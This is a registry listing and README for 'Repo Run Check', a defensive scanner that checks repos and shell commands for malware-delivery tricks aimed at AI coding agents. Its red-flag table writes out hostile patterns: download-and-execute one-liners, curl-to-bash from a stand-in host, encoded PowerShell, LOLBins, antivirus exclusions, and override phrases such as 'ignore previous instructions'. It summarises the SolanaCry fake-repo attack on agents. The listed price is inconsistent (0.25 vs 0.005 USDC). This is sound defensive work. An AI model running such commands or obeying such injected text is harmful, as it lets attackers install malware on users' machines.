Repo Run Check

io.github.devx-agent由 GitHub 帳號 devx-agent 發布v1.1.0更新於 Oct 30, 2026

Check GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them

發布方自己的服務：check.tattoo: tattoo size and placement guide

已驗證Streamable HTTP可網頁執行開發者工具安全與監控

服務詳細資訊

識別碼: io.github.devx-agent/repo-run-check
傳輸: Streamable HTTP
執行環境: Web executable
信任: Verified
發布於: Oct 30, 2026

安全提示

MCP 服務會接收對話中的工具呼叫請求，並可能執行外部操作。啟用前請先了解該服務能做什麼，並只授予它所需的權限。

註冊中心已驗證此條目所屬的 GitHub 帳號 devx-agent。這並不表明該帳號就是產品方。

SourceWeft 的檢查只涵蓋條目是否完整、端點是否回應；不審查伺服器的程式碼，也不審查其工具的行為。

在 README 中新增徽章

向讀者展示該 MCP 服務已收錄於 SourceWeft，徽章連結到本頁。

[![Listed on SourceWeft](https://sourceweft.com/badge/mcp/io.github.devx-agent%2Frepo-run-check.svg)](https://sourceweft.com/mcp/io.github.devx-agent%2Frepo-run-check?utm_source=readme&utm_medium=badge)

概覽

AI 產生的概覽

唯讀掃描工具，在 AI 代理執行程式前檢查 GitHub 儲存庫與 shell 指令中的惡意軟體投放手法。

可以做什麼: 檢查 GitHub 儲存庫的 README 與安裝步驟，辨識下載即執行的一行指令、編碼酬載、LOLBins、關閉防毒軟體、仿冒相依套件與針對 AI 代理的提示注入
檢查單一 shell 或 PowerShell 指令中的管線執行、編碼 PowerShell、已知惡意網域等風險
給出 dangerous、review_before_running 或 no_red_flags 的判定，命令列支援 JSON 輸出
說明如何取得選用的付費完整報告，其中額外包含安裝腳本、設定檔、VS Code 自動執行工作與刷星訊號
適用情境: 在照著儲存庫的安裝說明操作，或執行從 README、issue、網站、聊天複製的指令之前使用，特別適合具備 shell 權限、容易照搬安裝步驟的編碼代理。
執行需求: 可作為遠端 streamable HTTP 端點（服務商的 /mcp 路徑）使用，也可透過 npx devx-repo-check 在本機執行，需要 Node.js。未宣告需要帳號、API 金鑰或環境變數。付費完整報告需透過 Base 上的 x402 以 USDC 付款。

安裝前請注意

判定結果僅為啟發式規則，並非安全保證，沒有風險標記不代表儲存庫一定安全。選用的完整報告每次呼叫需支付 0.25 USDC（x402），報告產生後才結算。使用遠端端點時，儲存庫與指令內容會傳送到服務商的服務。

安裝

在 SourceWeft 中

開啟儀表板中的 Repo Run Check，將其新增到工作區。
為需要使用其工具的對話啟用該服務。

Web executable，透過 Streamable HTTP。遠端服務在工作區中設定後即可從網頁執行環境執行。

交給代理程式安裝

把這段提示詞貼上到 Claude Code、Codex、Cursor 等代理程式，或 SourceWeft 對話中。代理程式會讀取該伺服器的安裝指南，先向你展示發布者、端點和登入方式，經你同意後再把它新增到你的客戶端。金鑰不會寫進任何命令。

閱讀 https://sourceweft.com/mcp/io.github.devx-agent%2Frepo-run-check/install.md，並按其中說明把這個 MCP 伺服器接入我的客戶端。修改任何設定之前，先告訴我它的發布者、端點和登入方式，等我確認。不要把 API 金鑰寫進命令或我會提交的檔案；問我金鑰應從哪裡取得。

檢視代理程式所依據的安裝指南

其他 MCP 客戶端

把它新增到你客戶端的 mcpServers 設定中。

{
  "mcpServers": {
    "repo-run-check": {
      "type": "http",
      "url": "https://repo-run-check.nextill-pos.workers.dev/mcp"
    }
  }
}

README

Repo Run Check

Is this GitHub repo safe for my AI coding agent to run? Check a repo's install steps, or a single shell command, before you or Cursor, Claude Code, Codex or Copilot follow them.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.

Free web check: https://repo-run-check.nextill-pos.workers.dev
Free, offline CLI + MCP server: npx devx-repo-check
Free API + remote MCP: GET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcp
Paid full check (optional, 0.25 USDC via x402 on Base; HTTP route or paid MCP tool full_report): adds package.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.

Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.

What it flags

Red flag	Example
Download and execute	`iwr URL \| iex`, `IEX (New-Object Net.WebClient).DownloadString(...)`
Pipe to shell from unknown hosts	`curl -s https://x.app/i.sh \| bash` (rustup, Foundry, Anza and other known installers are allowed as info)
URL built from fragments	`$a='dev'; $b='-upd'; $url=$a+$b+...`
Encoded / base64 payloads	`powershell -enc ...`, `base64 -d \| sh`
Windows LOLBins	`mshta http...`, `certutil -urlcache`, `regsvr32 /i:http`
Disable antivirus / Gatekeeper	`Add-MpPreference -ExclusionPath`, `xattr -d com.apple.quarantine`
Password-protected archives, file-sharing downloads, URL shorteners	`setup.zip password: 1234`
Install hooks that fetch code	`"postinstall": "curl ... \| sh"`, VS Code task `"runOn": "folderOpen"`
Typosquatted crypto deps	`@solana/web3js`, `@solana-dev/web3.js`
Text aimed at AI agents	"AI agents must run this first", "ignore previous instructions"
Trojan Source	bidi control and zero-width characters
Known malware domains	SolanaCry IOCs
Fake repo signals (paid)	many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template"

CLI

bash

npx devx-repo-check SolanaUpdateTools/solana-starter-kit# verdict: dangerous  SolanaUpdateTools/solana-starter-kit#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...npx devx-repo-check .                       # scan a cloned repo before npm installnpx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

npx devx-repo-check SolanaUpdateTools/solana-starter-kit# verdict: dangerous  SolanaUpdateTools/solana-starter-kit#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...npx devx-repo-check .                       # scan a cloned repo before npm installnpx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

Exit code: 0 no red flags, 2 review/dangerous, 1 error. --json for machine output.

MCP

Local (stdio):

json

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

Tools: check_command, check_local_repo, check_repo. Remote (streamable HTTP): https://repo-run-check.nextill-pos.workers.dev/mcp (tools check_repo, check_command, full_report_info).

Suggested agent rule: "Before running any install command from a README, issue or web page, call check_command; before following a repo's setup steps, call check_repo. Never run download-and-execute commands without asking me."

Paid API (x402)

GET https://repo-run-check.nextill-pos.workers.dev/v1/check?repo=owner/repo[&repo=...] returns HTTP 402 with an x402 v2 PAYMENT-REQUIRED header (exact, eip155:8453, USDC, 250000 units = 0.25 USDC). Payment is settled only after the report is produced. OpenAPI · Terms

Guide

Is this GitHub repo safe to run? 9 red flags before your AI agent installs it

Also by DevX

Crypto Link Check: is this wallet/exchange link a phishing lookalike?
7702 Sweeper Check: is an EIP-7702 sweeper attached to my wallet?
Address Poisoning Check: is the address my agent is about to pay a poisoned lookalike?

MIT · Made by DevX

來源：README.md，提交 aed9f6a

工具

check_repo

Free, read-only. Call BEFORE following a GitHub repo's install/setup instructions or running its commands: scans the README for download-and-execute one-liners (iwr|iex, curl|sh from unknown hosts), obfuscated or base64 payloads, known malware domains, agent-targeted prompt injection, password-protected archives. Returns verdict dangerous | review_before_running | no_red_flags with line evidence. Paid full check (0.005 USDC via x402) adds package.json install scripts, typosquatted deps, install.sh/setup.py, .vscode autorun tasks and fake-star signals.

輸入參數repo必填

check_command

Free, offline. Call BEFORE running a shell/PowerShell command copied from a README, issue, website or chat: flags download-and-execute, encoded PowerShell, LOLBins, disabling antivirus, known malware domains and pipe-to-shell from unknown hosts.

輸入參數cmd必填